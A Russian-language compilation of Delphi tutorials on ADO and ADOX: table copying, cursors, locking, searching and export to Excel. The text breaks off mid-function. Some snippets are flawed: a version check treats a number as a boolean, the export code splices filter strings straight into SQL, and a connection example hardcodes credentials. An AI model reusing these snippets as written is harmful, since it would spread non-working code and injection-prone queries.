ADOX - это расширения ADO для Data Definition Language а так же для модели защиты (ADOX). ADOX предоставляет разработчикам богатый набор инструментов для получения доступа к структуре, модели защиты, а так же процедурам, хранимым в базе данных.

Для использования ADOX в Delphi, Вам необходимы установить библиотеку типа ADOX.
1. Select Project | Import Type Library
3. Выберите "Microsoft ADO Ext 2.x for DDL and Security (Version 2.x)"
4. Измените "TTable" на "TADOXTable"
5. Измените "TColumn" на "TADOXColumn"
6 .Измените "TIndex" на "TADOXIndex"
7. Нажмите кнопку Install (перекомпиляция пакетов (packages))
8. Нажмите один раз OK и дважды Yes
9. File | Close All | Yes

На вершине объектной модели ADOX находится объект Catalog. Он обеспечивает доступ к набору Таблиц (Tables), Видов (Views) и Процедур, который используется для работы со структурой базы данных, а так же к набору Пользователей (Users) и рупп (Groups), которые используются для авторизации доступа. Каждый объект Catalog связан только с одним подключением к источнику данных.

Давайте оставим ADOX (пока) и перейдём к ADOExpress.

TADOCommand
В ADOExpress компонент TADOCommand - это VCL представление объекта ADO Command. Объект Command представляет команду (запрос или выражение), которая может быть обработана источником данных. Команды могут быть выполнены методом Execute, используемым в ADOCommand. TADOCommand чаще всего используется для исполнения команд языка определения данных (DDL) SQL. Свойство CommandText содержит в себе саму команду. Свойство CommandType используется для того, как интерпретировать свойство CommandText. Тип cmdText используется для указания инструкции DDL. Впринципе, использовать компонент ADOCommand для получения данных из таблицы, запросов или хранимых процедур не имеет смысла, но никто не запрещает Вам пользоваться данным компонентов и в таких целях.

Итак, самое время приступить к реальному программированию...

Приведённый ниже проект демонстрирует следующее:
Получение списка всех таблиц из BDE, использование TFieldDefs чтобы получить определения (имя, тип данных, размер, и т.д.) полей в таблице, создание инструкции CREATE TABLE и копирование данных из таблицы BDE/Paradox в таблицу ADO/Access.

Давайте решим эту задачу по шагам:
GUI
Запускаем Delphi - получаем новый проект с пустой формой. Добавляем две кнопки, один ComboBox и один компонент Memo. Далее добавляем компоненты TTable, TADOTable, TADOConnection и TADOCommand. Чтобы установить следующие свойства, используем Object Inspector (оставьте все другие свойства как есть - например, Memo будет иметь имя по умолчанию: Memo1):

Для получения списка таблиц, связанных с данной базо данных (DBDEMOS) мы воспользуемся следующим кодом (OnCreate для формы):

procedure TForm1.FormCreate(Sender: TObject);
begin
 Session.GetTableNames('DBDEMOS',
                       '*.db',False, False,
                       cboBDETblNames.Items);
end;

В самом начале ComboBox содержит имена таблиц (Paradox) в базе данных DBDEMOS. В нижеприведённом коде мы выберем таблицу Country.

Следующая наша задача - это создание инструкции CREATE TABLE DDL. Это делается в процедуре OnClick кнопки 'Construct Create command':

procedure TForm1.Button1Click(Sender: TObject);
//Кнопка 'Construct Create command'
var i:integer;
    s:string;
begin
 BDETable.TableName:=cboBDETblNames.Text;
 BDETable.FieldDefs.Update;

 s:='CREATE TABLE ' + BDETable.TableName + ' (';
 with BDETable.FieldDefs do begin
  for i:=0 to Count-1 do begin
   s:=s + ' ' + Items[i].Name;
   s:=s + ' ' + AccessType(Items[i]);
   s:=s + ',';
  end; //for
  s[Length(s)]:=')';
 end;//with

 Memo1.Clear;
 Memo1.lines.Add (s);
end;

Вышеприведённый код просто анализирует определения полей для выбранной таблицы (cboBDETblNames) и генерирует строку, которая будет использоваться свойством CommandText компоненты TADOCommand.

Например, когда Вы выбираете таблицу Country, то Memo будет заполнен следующей строкой:

CREATE TABLE country (
  Name TEXT(24),
  Capital TEXT(24),
  Continent TEXT(24),
  Area FLOAT,
  Population FLOAT
)

И в заключении, пример для кнопки 'Create Table and copy data' , которая удаляет таблицу (DROP..EXECUTE), создаёт таблицу (CREATE..EXECUTE), и затем копирует данные в новую таблицу (INSERT...POST). Так же присутствует некоторая обработка ошибок, но код будет выходить на ошибку, если, например, (новая) таблица ещё не существует (в случае удаления).

procedure TForm1.Button2Click(Sender: TObject);
//Кнопка 'Create Table and copy data'
var i:integer;
    tblName:string;
begin
 tblName:=cboBDETblNames.Text;

//обновляем
 Button1Click(Sender);

//удаление & создание таблицы
 ADOCommand.CommandText:='DROP TABLE ' + tblName;
 ADOCommand.Execute;

 ADOCommand.CommandText:=Memo1.Text;
 ADOCommand.Execute;

 ADOTable.TableName:=tblName;

//копируем данные
 BDETable.Open;
 ADOTable.Open;
 try
  while not BDETable.Eof do begin
   ADOTable.Insert;
   for i:=0 to BDETable.Fields.Count-1 do begin
    ADOTable.FieldByName
   (BDETable.FieldDefs[i].Name).Value :=
      BDETable.Fields[i].Value;
   end;//for
   ADOTable.Post;
   BDETable.Next
  end;//while
 finally
  BDETable.Close;
  ADOTable.Close;
 end;//try
end;

Вот и всё. Теперь проверьте Вашу базу данных Access...вуаля :) теперь в ней находится таблица Country со всеми данными из DBDEMOS.

Однако некоторые вопросы остались без ответа, например: как добавлять индексы в таблицу (CREATE INDEX ON ...), или как создавать пустую базу данных Access.

Взято из http://forum.sources.ru


Курсоры в ADO

( перевод одноимённой статьи с сайта delphi.about.com )
В Delphi компоненты ADOExpress довольно приятны в использовании. Однако программирование компонент ADOExpress весьма отличается от традиционного Delphi программирования в компонентах TTable и TQuery, основанных на BDE. Естевственно, что если Вы привыкли к компонентам BDE dataset, то сразу же заметите различие в количестве возможностей и свойств, а так же в стиле программирования BDE и ADO.
В основе ADO лежит объект Recordset (aka Dataset). Этот объект является результатом Query команды (например, выражение SELECT компонента TADOQuery). Когда ADO-приложение получает строки из базы данных, то объект ADO Recordset формирует необходимую информацию и операции, допустимые для получаемых данных. При этом ADO использует курсоры, чтобы хранить набор строк для обработанной записи. Так же курсор содержит в себе текущую позицию в записи (recordset). Обычно, при разработке приложения, курсоры используются при создании записей, а так же при перемещении по записям (вперёд или назад).
В ADO курсоры имеют три функции. Первая, это тип курсора, определющая допустимые перемещения в пределах курсора, а так же будут ли отражаться изменения пользователей в записи. Вторая, это местоположение курсора, определяющая место хранения записи, в то время, пока курсор остаётся открытым. Третья, это тип блокировки курсора, которая определяет как ADO datastore будет блокировать строки, если Вам потребуется внести изменения.
Каждый раз когда мы будем открывать определённую запись ADO, то мы будем открывать её с определённым типом курсора.
Класс TCustomADODataSet содержит набор свойств, событий и методов, для работы с данными, доступными через ADO datastore. Все классы-потомки от TCustomADODataSet (такие как TADODataSet, TADOTable, TADOQuery, и TADOStoredProc) совместно используют некоторые общие свойства. В каждом из этих классов присутствуют три свойства, соответствующие функциям курсоров, описанным выше: CursorType, CursorLocation, и LockType. Давайте рассмотрим эти свойства по-подробнее.
CursorType
ADO содержит четы опции для данного типа курсора: dynamic, keyset, forward-only и static. Так как каждый тип курсора ведёт себя работает по разному, то несомненно Вы извлечёте пользу из каждого из этих видов курсоров.
Свойство CursorType указывает на то, каким образом Вы будете перемещаться по записям а так же какие изменения будут видны в записях базы данных, после того как Вы получите из неё данные. В Delphi классах ADO типы курсоров задаются в TCursorType.
ctDynamic
Позволит Вам видеть добавления, изменения и удаления, сделанные другими пользователями, а также позволит делать все типы перемещения по записи (Recordset) не полагаясь на закладки. Однако закладки можно использовать, если они поддерживаются. Для этого существует метод Supports в ADODataset, который сигнализирует о поддержке определённых типов операций. Следующее выражение позволяет определить, поддерживаются закладки или нет:
if ADOTable1.Supports(coBookmark) then ...
Если несколько пользователей одновременно вставляют (insert), апдейтят (update), или удаляют (delete) строки в базе данных, то лучше всего выбрать курсор dynamic.
ctKeyset
Ведет себя подобно динамическому курсору, за исключением того, что Вы не сможете видеть записи, которые добавляют другие пользователи, а так же не сможете получить доступ к записям, которые удаляются другими пользователями. Изменение данных другими пользователями будет все еще видимо. Этот тип всегда поддерживает закладки и поэтому позволяет все типы перемещения по записям (Recordset).
ctStatic
Обеспечивает статическую копию набора записей, чтобы использовать её для поиска данных и генерации отчётов. Данный тип всегда разрешает закладки и поэтому позволяет все типы движения по записям. Добавления, изменения, или удаления другими пользователями не будут видимы. Статический курсор ведет себя подобно компоненту BDE Query со свойством RequestLive установленным в False.
ctForward-only
Ведет себя идентично динамическому курсору за исключением того, что позволяет Вам пролистывать по записям только вперед. Это увеличивает производительность в ситуациях, где Вы необходимо делать только один проход по набору записей (Recordset).
Обратите внимание: если свойство CursorLocation в компоненте ADO dataset установлено в clUseClient, то Вы сможете использовать только опцию ctStatic.
Так же обратите внимание: что если Вы запросите тип курсора неподдерживаемый базой данных, то она может вернуть другой тип курсора. То есть если Вы пробуете установить CursorLocation в clUseServer и CursorType в ctDynamic, в базе данных Access, то Delphi заменит CursorType на ctKeyset.
CursorLocation
Свойство CursorLocation определяет, где будет создан набор записей (recordset) когда он будет открыт — у клиента или на сервере.
Данные в клиентском (client-side) курсоре не сязаны постоянно ("inherently disconnected") с базой данных. ADO получает результаты запроса (все строки) и копирует данные клиенту перед тем, как Вы начнёте использовать их (в курсоре ADO). После того, как Вы сделаете изменения в наборе записей (Recordset), ADO преобразует эти изменения в запрос и отправляет этот запрос в Вашу базу данных через OLE DB. Клиентский (client-side) курсор ведёт себя подобно локальному кэшу.
В большинстве случаев, клиентский (client-side) курсор предпочтителен, потому что перемещения и обновления быстрее и более эффективны. Но, соответственно, увеличивается сетевой трафик при возвращении данных клиенту.
Использование серверного (server-side) курсора означает получение только необходимых записей. Естевственно, что на сервер падает большая нагрузка. Серверные (Server-side) курсоры полезны при вставке, модификации, удалении записей. Данный тип курсоров иногда обеспечивает лучшую производительность чем клиентский курсор, особенно когда сеть перегружена.
При выборе типа курсора Вам необходимо продумать множество факторов, таких как: будет ли у Вас большое количество обновлений либо Вы будете производить только выборку из базы данных; будете ли Вы использовать ADO как настольное приложение или Ваше приложение будет Internet-ориентированным; размер получаемых данных и т.д. Так же есть некоторое ограничения: например, MS Access не поддерживает динамических курсоров; вместо этого он использует keyset. Некоторые средства доступа к данным автоматически мастабируют свойства CursorType и CursorLocation, в то время как другие генерируют ошибку при использовании неподдерживаемых CursorType или CursorLocation.
LockType
Свойство LockType сообщает провайдеру о блокировках, которые будут помещены в записи в процессе редактирования. Блокировка позволяет предотвратить чтение данных одним пользователем в то время как другой пользователь изменяет эти данные, а так же не дать пользователю изменить данные, если они были изменены другим пользователем.
Такой эффект наблюдается в базе данных Access, которая блокирует некоторые соседние записи. Дело в том, что Access использует так называемую стратегию фиксации страницы. Поэтому, если пользователь редактирует запись, то другой пользователь уже не сможет получить доступ к изменению данной записи и, даже не сможет модифицировать ближе стоящие записи (до или после неё).
В Delphi, для этой цели используется TADOLockType в которой указывается тип блокировки, которая будет использоваться. Вы можете управлять строкой и блокировкой страницы, устанавливая соответствующую опцию блокировки курсора. Чтобы использовать определенную схему блокировки, провайдер и тип базы данных должны поддержать эту схему.
ltOptimistic
Оптимистическая блокировка блокирует запись только в том случае, если она была физически изменена. Этот тип блокировки полезен, если существует очень маленький шанс того, что второй пользователь может модифицировать строку в интервале между тем, когда курсор открыт, и когда строка окончательно модифицирована. Текущие значения в строке сравниваются со значением полученным когда строка была последний раз выбрана.
ltPessimistic
Пессимистическая блокировка блокирует каждую запись, до тех пор пока она находится в процессе редактирования. Эта опция заставляет ADO устанавливать исключительную блокировку на строку, когда пользователь делает любое изменения в любом столбцу записи. Компоненты ADOExpress непосредственно не поддерживают пессимистическую блокировку записей, потому что сама ADO не имеет возможности произвольно блокировать данную запись и до сих пор поддерживает навигацию в другие записи.
ltReadOnly
Данная блокировка просто не позволяет редактировать данные. Полезна в тех случаях, когда Ваше приложение должно временно предотвратить изменение данных, при этом чтение данной записи разрешено. Самый идеальный способ использования данной блокировки для создания отчётов, если установить CursorType как ctForwardOnly.
ltBatchOptimistic
Блокировка BatchOptimistic используется в клиентских курсорах. Наборы записей с данным курсором апдейтятся локально и все изменения отправляются в базу данных пакетами.
Взято из http://forum.sources.ru


Поиск в базе данных

перевод одноимённой статьи с delphi.about.com

Самая распространённая задача, которую решают приложения работающие с базами данных - это поиск необходимых записей по заданному критерию. В Delphi, компоненты ADOExpress включают в себя методы поиска записей, аналогичные тем, которые используются в BDE.

В данной статье будут рассмотрены различные способы поиска данных разработке ADO-приложений в Delphi

Обычно алгоритм поиска строится по следующей схеме: начинаем поиск с начала таблицы, проверяем поле в каждой строке на предмет удовлетворения нашему критерию, останавливаем цикл на выбранной записи.

Давайте рассмотрим несколько способов расположения данных, полученных из БД посредствам компонента ADODataset (для Таблицы и для Запроса).

Locate
Этот универсальный метод поиска устанавливает текущую запись как первую строку, удовлетворяющую набору критериев поиска. Используя метод Locate мы можем искать значения одного или более полей, расположенных в массиве переменных. В приведённом ниже коде, метод Locate ищет первую запись, содержащую строку 'Zoom' в поле 'Name'. Если вызов Locate возвращает True - то запись найдена и установлена как текущая.

AdoTable1.Locate('Name','Zoom',[]);

{...или...}

var ffield, fvalue: string;
    opts : TLocateOptions;

ffield := 'Name';
fvalue := 'zoom';
opts := [loCaseInsensitive];

if not AdoTable1.Locate(ffield, fvalue, opts) then
  ShowMessage(fvalue + ' not found in ' + ffield);

Lookup
Метод Lookup не перемещает курсор в соответствующую строку, а только возвращает её значение. Lookup возвращает массив переменных, содержащих значения из полей, указанных в разделённом точкой с запятой списке имён, значения которых должны быть возвращены из интересующей нас строки. Если соответствующих нашему запросу строк не найдено, то Lookup вернёт пустую (Null) переменную.

Следующий пример заполняет заполняет массив переменных LookupRes

var LookupRes: Variant;

LookupRes := ADOTable1.Lookup
  ('Name', 'Zoom', 'Author; Description');

if not VarIsNull(LookupRes) then
 ShowMessage(VarToStr(LookupRes[0])) //имя автора

Одно из преимуществ методов Locate и Lookup, состоит в том, что они не требуют, чтобы таблица была проиндексирована. Однако, функция Locate будет работать намного быстрее, если таблица будет проиндексирована.

Индексирование

Индексирование помогает находить и сортировать записи намного быстрее. Вы можете создавать индексы основанные на одном поле либо на нескольких полях. Индексирование нескольких полей позволяет Вам различать записи, в которых первое поле может иметь то же самое значение. В большинстве случаев при частом поиске/сортировке желательно индексировать поля. Например, если Вы ищете определённый тип приложения в поле Type, то Вы можете создать индекс на это поле для ускорения поиска по типу. Следует упомянуть, что первичный ключ таблицы автоматически проиндексирован, а так же Вы не можете индексировать поля с типом данных OLE Object. И ещё, обратите внимание, что если многие из значений в поле те же самые, то индексирование в данном случае не ускорит процесс получения данных из БД.

BDE (не ADO) Delphi предоставляет нам определённые функции для работы с таблицами базы данных, которые позволяют нам производить поиск необходимых значений. Вот некоторые из них Goto, GoToKey, GoToNearest, Find, FindKey, Find Nearest, и т.д. Для более полной справки по этим методам, Вам следует посмотреть в справке Delphi, в разделе: Searching for records based on indexed fields. ADO напротив не поддерживает эти методы. Вместо этого он представляет метод Seek.

Seek
В ADO метод Seek использует индекс для поиска данных. Наример, при поиске в базе данных Access, если не задать индекс, то база данных будет использовать Первичный индексный ключ.
Seek используется для поиска записей с указанным значением (или значениями) в поле (либо полях) на которых основан текущий индекс. Если Seek не находит желаемую строку, то никакой ошибки не выдаётся, а курсор устанавливается в конец данных. Seek возвращает значение boolean, указывающее на успешность поиска: True если запись была найдена либо False если записей удовлетворяющих нашим требований не было найдено.

Метод GetIndexNames в компоненте TADOTable возвращает список (например: ячеек combo box) доступных индексов для таблицы.

 ADOTable1.GetIndexNames(ComboBox1.Items);

Этот же список доступен в режиме разработки в свойстве IndexName компонента TADOTable. Свойство IndexFieldNames может использоваться как альтернативный метод для определения индекса используемого в таблице. В IndexFieldNames, мы указываем имя каждого поля для использования в таблице.

Метод Seek имеет следующее определение:

function Seek(const KeyValues: Variant; SeekOption: TSeekOption = soFirstEQ): Boolean;

· KeyValues массив значений Variant. Так как индекс состоит из одного или более столбцов, то массив содержит значения, которые будут сравниваться с соответствующими столбцами.
· SeekOption указывает на тип сравнивания между колонками индекса и соответствующим KeyValues.

SeekOption Назначение
soFirstEQ Указатель на запись позиционируется в первую удовлетворяющую требованиям запись, если она найдена, либо в конец таблицы, если не найдена
soLastEQ Указатель на запись позиционируется на последнюю удовлетворяющую требованиям запись если она найдена, либо в конец таблицы если нет.
soAfterEQ Указатель на запись позиционируется на удовлетворяющую требованиям запись, если таковая найдена, либо сразу после той, которая была найдена.
soAfter Указатель на запись позиционируется сразу после той, которая была найдена.
soBeforeEQ Указатель на запись позиционируется на удовлетворяющую требованиям запись, если таковая найдена, либо перед той, которая была найдена.
soBefore Указатель на запись позиционируется перед той записью, которая была найдена.

Примечание 1: метод Seek поддерживает курсоры только на стороне сервера (server-side). Seek не будет работать, если значение свойства CursorLocation равно clUseClient. Для этого используется метод Supports для определения основного провайдера, поддерживающего Seek.

Примечание 2: когда Вы используйте метод Seek для нескольких полей, то Seek поля должны быть в том же самом порядке как поля в основной таблице. Если это не так, то метод Seek выдаст ошибку.

Примечание 3: Вы не сможете использовать метод Seek в компоненте TADOQuery.

Чтобы определять, была ли соответствующая запись найдена, мы используем свойства BOF или EOF (в зависимости от направления поиска). Следующий код использует индекс, указанный в ComboBox, чтобы найти значение, содержащееся в окне редактирования Edit1.

var strIndex: string;

strIndex := ComboBox1.Text; //из примера выше

if ADOTable1.Supports(coSeek) then begin
 with ADOTable1 do begin
   Close;
   IndexName := strIndex;
   CursorLocation := clUseServer;
   Open;
   Seek (Edit1.Text, soFirstEQ);
  end;
  if ADOTable1.EOF then
   ShowMessage ('Record value NOT found');
end

Взято из http://forum.sources.ru


Экспорт ADO таблиц в разные форматы

{
Exporting ADO tables into various formats

In this article I want to present a component I built in order to
supply exporting features to the ADOTable component. ADO supplies
an extended SQL syntax that allows exporting of data into various
formats. I took into consideration the following formats:

1)Excel
2)Html
3)Paradox
4)Dbase
5)Text

You can see all supported output formats in the registry:
"HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\ISAM formats"

This is the complete source of my component }

unit ExportADOTable;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Db, ADODB;

type
  TExportADOTable = class(TADOTable)
  private
    { Private declarations }
    //TADOCommand component used to execute the SQL exporting commands
    FADOCommand: TADOCommand;
  protected
    { Protected declarations }
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;

    //Export procedures
    //"FiledNames" is a comma separated list of the names of the fields you want to export
    //"FileName" is the name of the output file (including the complete path)
    //if the dataset is filtered (Filtered = true and Filter <> ''), then I append
    //the filter string to the sql command in the "where" directive
    //if the dataset is sorted (Sort <> '') then I append the sort string to the sql command in the
    //"order by" directive

    procedure ExportToExcel(FieldNames: string; FileName: string;
      SheetName: string; IsamFormat: string);
    procedure ExportToHtml(FieldNames: string; FileName: string);
    procedure ExportToParadox(FieldNames: string; FileName: string; IsamFormat: string);
    procedure ExportToDbase(FieldNames: string; FileName: string; IsamFormat: string);
    procedure ExportToTxt(FieldNames: string; FileName: string);
  published
    { Published declarations }
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Carlo Pasolini', [TExportADOTable]);
end;

constructor TExportADOTable.Create(AOwner: TComponent);
begin
  inherited;

  FADOCommand := TADOCommand.Create(Self);
end;

procedure TExportADOTable.ExportToExcel(FieldNames: string; FileName: string;
  SheetName: string; IsamFormat: string);
begin
  {IsamFormat values
   Excel 3.0
   Excel 4.0
   Excel 5.0
   Excel 8.0
  }

  if not Active then
    Exit;
  FADOCommand.Connection  := Connection;
  FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
    SheetName + ']' + ' IN ' + '"' + FileName + '"' + '[' + IsamFormat +
    ';]' + ' From ' + TableName;
  if Filtered and (Filter <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
  if (Sort <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
  FADOCommand.Execute;
end;

procedure TExportADOTable.ExportToHtml(FieldNames: string; FileName: string);
var
  IsamFormat: string;
begin
  if not Active then
    Exit;

  IsamFormat := 'HTML Export';

  FADOCommand.Connection  := Connection;
  FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
    ExtractFileName(FileName) + ']' +
    ' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat +
    ';]' + ' From ' + TableName;
  if Filtered and (Filter <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
  if (Sort <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
  FADOCommand.Execute;
end;

procedure TExportADOTable.ExportToParadox(FieldNames: string;
  FileName: string; IsamFormat: string);
begin
  {IsamFormat values
  Paradox 3.X
  Paradox 4.X
  Paradox 5.X
  Paradox 7.X
  }
  if not Active then
    Exit;

  FADOCommand.Connection  := Connection;
  FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
    ExtractFileName(FileName) + ']' +
    ' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat +
    ';]' + ' From ' + TableName;
  if Filtered and (Filter <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
  if (Sort <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
  FADOCommand.Execute;
end;

procedure TExportADOTable.ExportToDbase(FieldNames: string; FileName: string;
  IsamFormat: string);
begin
  {IsamFormat values
  dBase III
  dBase IV
  dBase 5.0
  }
  if not Active then
    Exit;

  FADOCommand.Connection  := Connection;
  FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
    ExtractFileName(FileName) + ']' +
    ' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat +
    ';]' + ' From ' + TableName;
  if Filtered and (Filter <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
  if (Sort <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
  FADOCommand.Execute;
end;

procedure TExportADOTable.ExportToTxt(FieldNames: string; FileName: string);
var
  IsamFormat: string;
begin
  if not Active then
    Exit;

  IsamFormat := 'Text';

  FADOCommand.Connection  := Connection;
  FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' +
    ExtractFileName(FileName) + ']' +
    ' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat +
    ';]' + ' From ' + TableName;
  if Filtered and (Filter <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter;
  if (Sort <> '') then
    FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort;
  FADOCommand.Execute;
end;

end.

{
Note that you can use an already existing database as destination but not an already existing
table in the database itself: if you specify an already exixting table you will receive
an error message. You might insert a verification code inside every exporting procedure of my
component, before the execution of the sql exporting command, in order to send a request of
deleting the already present table or aborting the exporting process.

carlo Pasolini, Riccione(italy), e-mail: ccpasolini@libero.it
}
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Экспорт из TDBGrid в Excel без OLE

{
  Exporting a DBGrid to excel without OLE

  I develop software and about 95% of my work deals with databases.
  I enjoied the advantages of using Microsoft Excel in my projects
  in order to make reports but recently I decided to convert myself
  to the free OpenOffice suite.
  I faced with the problem of exporting data to Excel without having
  Office installed on my computer.
  The first solution was to create directly an Excel format compatible file:
  this solution is about 50 times faster than the OLE solution but there
  is a problem: the output file is not compatible with OpenOffice.
  I wanted a solution which was compatible with each "DataSet";
  at the same time I wanted to export only the dataset data present in
  a DBGrid and not all the "DataSet".
  Finally I obtained this solution which satisfied my requirements.
  I hope that it will be usefull for you too.

  First of all you must import the ADOX type library
  which will be used to create the Excel file and its
  internal structure: in the Delphi IDE:

  1)Project->Import Type Library:
  2)Select "Microsoft ADO Ext. for DDL and Security"
  3)Uncheck "Generate component wrapper" at the bottom
  4)Rename the class names (TTable, TColumn, TIndex, TKey, TGroup, TUser, TCatalog) in
    (TXTable, TXColumn, TXIndex, TXKey, TXGroup, TXUser, TXCatalog)
    in order to avoid conflicts with the already present TTable component.
  5)Select the Unit dir name and press "Create Unit".
    It will be created a file named AOX_TLB.
    Include ADOX_TLB in the "uses" directive inside the file in which you want
    to use ADOX functionality.

  That is all. Let's go now with the implementation:
}

unit DBGridExportToExcel;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, ComCtrls, DB, IniFiles, Buttons, dbgrids, ADOX_TLB, ADODB;

type TScrollEvents = class
       BeforeScroll_Event: TDataSetNotifyEvent;
       AfterScroll_Event: TDataSetNotifyEvent;
       AutoCalcFields_Property: Boolean;
  end;

procedure DisableDependencies(DataSet: TDataSet; var ScrollEvents: TScrollEvents);
procedure EnableDependencies(DataSet: TDataSet; ScrollEvents: TScrollEvents);
procedure DBGridToExcelADO(DBGrid: TDBGrid; FileName: string; SheetName: string);

implementation

//Support procedures: I made that in order to increase speed in
//the process of scanning large amounts
//of records in a dataset

//we make a call to the "DisableControls" procedure and then disable the "BeforeScroll" and
//"AfterScroll" events and the "AutoCalcFields" property.
procedure DisableDependencies(DataSet: TDataSet; var ScrollEvents: TScrollEvents);
begin
  with DataSet do
    begin
      DisableControls;
      ScrollEvents := TScrollEvents.Create();
      with ScrollEvents do
        begin
          BeforeScroll_Event := BeforeScroll;
          AfterScroll_Event := AfterScroll;
          AutoCalcFields_Property := AutoCalcFields;
          BeforeScroll := nil;
          AfterScroll := nil;
          AutoCalcFields := False;
        end;
    end;
end;

//we make a call to the "EnableControls" procedure and then restore
// the "BeforeScroll" and "AfterScroll" events and the "AutoCalcFields" property.

procedure EnableDependencies(DataSet: TDataSet; ScrollEvents: TScrollEvents);
begin
  with DataSet do
    begin
      EnableControls;
      with ScrollEvents do
        begin
          BeforeScroll := BeforeScroll_Event;
          AfterScroll := AfterScroll_Event;
          AutoCalcFields := AutoCalcFields_Property;
        end;
    end;
end;

//This is the procedure which make the work:

procedure DBGridToExcelADO(DBGrid: TDBGrid; FileName: string; SheetName: string);
var
  cat: _Catalog;
  tbl: _Table;
  col: _Column;
  i: integer;
  ADOConnection: TADOConnection;
  ADOQuery: TADOQuery;
  ScrollEvents: TScrollEvents;
  SavePlace: TBookmark;
begin
  //
  //WorkBook creation (database)
  cat := CoCatalog.Create;
  cat._Set_ActiveConnection('Provider=Microsoft.Jet.OLEDB.4.0; Data Source=' + FileName + ';Extended Properties=Excel 8.0');
  //WorkSheet creation (table)
  tbl := CoTable.Create;
  tbl.Set_Name(SheetName);
  //Columns creation (fields)
  DBGrid.DataSource.DataSet.First;
  with DBGrid.Columns do
    begin
      for i := 0 to Count - 1 do
        if Items[i].Visible then
        begin
          col := nil;
          col := CoColumn.Create;
          with col do
            begin
              Set_Name(Items[i].Title.Caption);
              Set_Type_(adVarWChar);
            end;
          //add column to table
          tbl.Columns.Append(col, adVarWChar, 20);
        end;
    end;
  //add table to database
  cat.Tables.Append(tbl);

  col := nil;
  tbl := nil;
  cat := nil;

  //exporting
  ADOConnection := TADOConnection.Create(nil);
  ADOConnection.LoginPrompt := False;
  ADOConnection.ConnectionString := 'Provider=Microsoft.Jet.OLEDB.4.0; Data Source=' + FileName + ';Extended Properties=Excel 8.0';
  ADOQuery := TADOQuery.Create(nil);
  ADOQuery.Connection := ADOConnection;
  ADOQuery.SQL.Text := 'Select * from [' + SheetName + '$]';
  ADOQuery.Open;

  DisableDependencies(DBGrid.DataSource.DataSet, ScrollEvents);
  SavePlace := DBGrid.DataSource.DataSet.GetBookmark;
  try
  with DBGrid.DataSource.DataSet do
    begin
      First;
      while not Eof do
        begin
          ADOQuery.Append;
          with DBGrid.Columns do
            begin
              ADOQuery.Edit;
              for i := 0 to Count - 1 do
                if Items[i].Visible then
                  begin
                    ADOQuery.FieldByName(Items[i].Title.Caption).AsString := FieldByName(Items[i].FieldName).AsString;
                  end;
              ADOQuery.Post;
            end;
          Next;
        end;
    end;

  finally
  DBGrid.DataSource.DataSet.GotoBookmark(SavePlace);
  DBGrid.DataSource.DataSet.FreeBookmark(SavePlace);
  EnableDependencies(DBGrid.DataSource.DataSet, ScrollEvents);

  ADOQuery.Close;
  ADOConnection.Close;

  ADOQuery.Free;
  ADOConnection.Free;

  end;

end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как узнать версию ADO?

{
  With different versions of MDAC available it is sometimes
  useful to know that your application won't fail because a user
  hasn't got the latest version installed.
  The following function returns the ADO version installed,
  you need to place ComObj in the uses clause to use this function.
}

function GetADOVersion: Double;
var
  ADO: OLEVariant;
begin
  try
    ADO    := CreateOLEObject('adodb.connection');
    Result := StrToFloat(ADO.Version);
    ADO    := Null;
  except
    Result := 0.0;
  end;
end;

// To use this function try something like:

procedure TForm1.Button1Click(Sender: TObject);
const
  ADOVersionNeeded = 2.5;
begin
  if GetADOVersion then
    ShowMessage('Need to install MDAC version 2.7')
  else
    ShowMessage(Format('ADO Version %n, is OK', [GetADOVersion]));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

function TfrmMain.GetADOVersion: Double;
var
  ADO: OLEVariant;
begin
  try
    ADO := CreateOLEObject('adodb.connection');
    Result := StrToFloat(ADO.Version);
    ADO := Null;
  except
    Result := 0.0;
  end;
end;

Взято сhttp://delphiworld.narod.ru


Как сделать ADO-connection?

uses
  ComObj;

function OpenConnection(ConnectionString: AnsiString): Integer;
var
  ADODBConnection: OleVariant;
begin
  ADODBConnection := CreateOleObject('ADODB.Connection');
  ADODBConnection.CursorLocation := 3; // User client
  ADODBConnection.ConnectionString := ConnectionString;
  Result          := 0;
  try
    ADODBConnection.Open;
  except
    Result := -1;
  end;
end;

function DataBaseConnection_Test(bMessage: Boolean): AnsiString;
var
  asTimeout, asUserName, asPassword, asDataSource, ConnectionString: AnsiString;
  iReturn: Integer;
  OldCursor: TCursor;
begin
  OldCursor     := Screen.Cursor;
  Screen.Cursor := crHourGlass;
  asTimeout     := '150';
  asUserName    := 'NT_Server';
  asPassword    := 'SA';
  asDataSource  := 'SQL Server - My DataBase';

  ConnectionString := 'Data Source = ' + asDataSource +
    'User ID = ' + asUserName +
